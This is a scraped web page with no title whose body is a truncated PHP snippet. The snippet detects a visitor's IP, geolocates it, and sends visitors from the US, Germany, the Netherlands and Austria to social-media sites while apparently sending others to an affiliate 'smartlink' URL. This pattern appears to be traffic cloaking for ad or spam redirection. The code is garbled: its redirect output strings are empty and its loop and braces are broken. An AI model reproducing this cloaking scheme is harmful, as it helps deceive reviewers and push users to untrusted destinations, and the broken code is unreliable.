Skip to content Skip to sidebar Skip to footer

[No title]

isValidIpAddress($_SERVER['HTTP_CLIENT_IP'])) { // check for shared ISP IP $ipAddress = $_SERVER['HTTP_CLIENT_IP']; } else if (! empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { // check for IPs passing through proxy servers // check if multiple IP addresses are set and take the first one $ipAddressList = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); foreach ($ipAddressList as $ip) { if ($this->isValidIpAddress($ip)) { $ipAddress = $ip; break; } } } else if (! empty($_SERVER['HTTP_X_FORWARDED']) && $this->isValidIpAddress($_SERVER['HTTP_X_FORWARDED'])) { $ipAddress = $_SERVER['HTTP_X_FORWARDED']; } else if (! empty($_SERVER['HTTP_X_CLUSTER_CLIENT_IP']) && $this->isValidIpAddress($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ipAddress = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } else if (! empty($_SERVER['HTTP_FORWARDED_FOR']) && $this->isValidIpAddress($_SERVER['HTTP_FORWARDED_FOR'])) { $ipAddress = $_SERVER['HTTP_FORWARDED_FOR']; } else if (! empty($_SERVER['HTTP_FORWARDED']) && $this->isValidIpAddress($_SERVER['HTTP_FORWARDED'])) { $ipAddress = $_SERVER['HTTP_FORWARDED']; } else if (! empty($_SERVER['REMOTE_ADDR']) && $this->isValidIpAddress($_SERVER['REMOTE_ADDR'])) { $ipAddress = $_SERVER['REMOTE_ADDR']; } return $ipAddress; } /** * @access public * @param string $ip */ public function isValidIpAddress($ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { return false; } return true; } public function getLocation($ip) { $ch = curl_init('http://ipwhois.app/json/' . $ip); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $json = curl_exec($ch); curl_close($ch); // Decode JSON response $ipWhoIsResponse = json_decode($json, true); // Country code output, field "country_code" return $ipWhoIsResponse; } $dt = rand(101,1000); $requestModel = new Request(); $ip = $requestModel->getIpAddress(); $isValidIpAddress = $requestModel->isValidIpAddress($ip); $smartlink = 'https://securecd-smnd.com/smartlink/?a=106339&sm=1197&mt=19&s3=BLAF&s4=HOKAGE'; $country = [ 'US', 'DE', 'NL', 'AT' ]; $url = [ 'http://www.facebook.com', 'http://www.instagram.com', 'http://www.web.whatsapp.com', 'http://www.twitter.com' ]; $get_count = count($country); $geoLocationData = $requestModel->getLocation($ip); if ($isValidIpAddress == "") { echo ''; } else { for ($i=0; $i <= $get_count; $i++) { if ($geoLocationData['country_code'] == $country[$i]){ $get_url = $url[$i]; $i = $dt; } } if ($get_url !== NULL) { echo ''; }else { echo ''; } } ?> }

Post a Comment for " "